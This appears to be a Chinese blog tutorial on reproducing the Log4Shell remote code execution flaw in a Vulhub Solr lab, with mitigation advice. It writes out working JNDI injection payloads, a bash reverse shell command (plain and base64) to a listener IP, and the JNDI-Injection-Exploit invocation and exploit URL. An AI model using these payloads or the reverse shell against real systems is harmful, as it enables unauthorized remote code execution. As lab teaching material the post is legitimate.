码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • apache log4j漏洞复现


    log4j是开源的java存储日志的框架,一般都是大企业用,小企业自带的日志功能足够使用,Log4j2是默认支持解析ldap/rmi协议的,打印的日志中包括ldap/rmi协议都行。

    具体介绍参考以下文章:

    log4j2---基于vulhub的log4j2漏洞复现---反弹shell_繁华宛若浮云 - 致知学习-PC万里

    log4j日志框架的使用_log4j是apache的一个开源日志框架,通过log4j我们可以将程序中的日志信息输出到控_浪里小白狼(鹤)的博客-CSDN博客

    影响版本:apache log4j  2.2.0-2.14.1版本

    防御:

    1、升级到2.17.0版本以上

    2、阻止使用JNDI来加载远程资源。适用于无法立即升级到修复版本在Log4j配置中禁用使用JNDI来加载远程资源来减少风险。

    3、在log4j2.xml文件中添加安全策略配置,启用安全策略来限制代码执行

    4、清除受影响系统的缓存。通过清除 Log4j 的上下文选择器缓存来实现确保新的配置生效

    log4j远程代码执行漏洞

    搭建一个vulnhub靶场,靶场相关内容详见:

    Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。icon-default.png?t=N7T8https://vulhub.org/#/environments/Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。icon-default.png?t=N7T8https://vulhub.org/

    git clone https://github.com/vulhub/vulhub.git
    

    找到log4j下面的漏洞目录输入

    docker-compose up -d

    如果docker-compose提示未找到命令需要安装一下,

    参考文章:docker-compose安装-CSDN博客 或者Docker高级篇(DockerCompose详解)-云原生核心 - 知乎

    可以看到漏洞已经启动

    环境搭建好了:是IP:端口,本次使用的IP是134,端口8983,所以连接

    jndi注入

    JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念

    漏洞探测

    构造一个语句${jndi:ldap://fe4f4071e4.ipv6.1433.eu.org./exp}在上面搭建的网站上面输入,如果有回显说明存在log4j漏洞。

    fe4f4071e4.ipv6.1433.eu.org.是用dig.pm构造的地址,

    构造反弹shell

    创建一个可交互的bash和一个到192.168.246.130:2333的TCP链接,然后将bash的输入输出错误都重定向到在192.168.246.130:2333监听的进程。

    bash -i >& /dev/tcp/192.168.246.130/2333 0>&1    用base64加密

    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzAvMjMzMyAwPiYx

    其中130是接收的IP,2333是监听端口

    用JNDI-Injection-Exploit工具

    可以参考文章:Log4Shell漏洞学习 - 知乎

    使用方法:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A " IP

    命令是要对受害机执行的内容,比如本次是反弹命令,

    IP是收集者的IP,

    获取 jndi 工具开启ldap和rmi监听服务

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzAvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.246.130

    工具安装参考:JNDI-Injection-Exploit工具安装-CSDN博客

    JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。简单从安全角度来看待JNDI就是Java中的一组接口,在其所支持的服务中最常用的就是RMI和LDAP服务。
    RMI:远程方法调用注册表
    LDAP:轻量级目录访问协议
    通过这两种协议可以使目标服务器加载远程Class文件,攻击者通过构造Class文件来达到RCE的效果


     

    用得到的连接构造url语句

    ${jndi:rmi://192.168.246.130:1099/jkgiaz}

    http://192.168.246.134:8983/solr/admin/cores?action=${jndi:rmi://192.168.246.130:1099/jkgiaz}

    kali监听反弹shell

  • 相关阅读:
    各种语言如何连接到 OceanBase
    两个输入数组的非单一维度必须相互匹配
    阿里云对象存储oss私有桶生成链接
    python安装.whl文件
    按键控制LED状态翻转
    2022年S1000D和ATA用户大会资料
    蓝牙 - 苹果iOS所支持的profile
    Codeforces Round #835 (Div. 4) D. Challenging Valleys
    Python 图形化界面基础篇:添加按钮( Button )到 Tkinter 窗口
    STM32F407ZGT6|串口发送数据给上位机(定时)
  • 原文地址:https://blog.csdn.net/arissa666/article/details/133896538
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号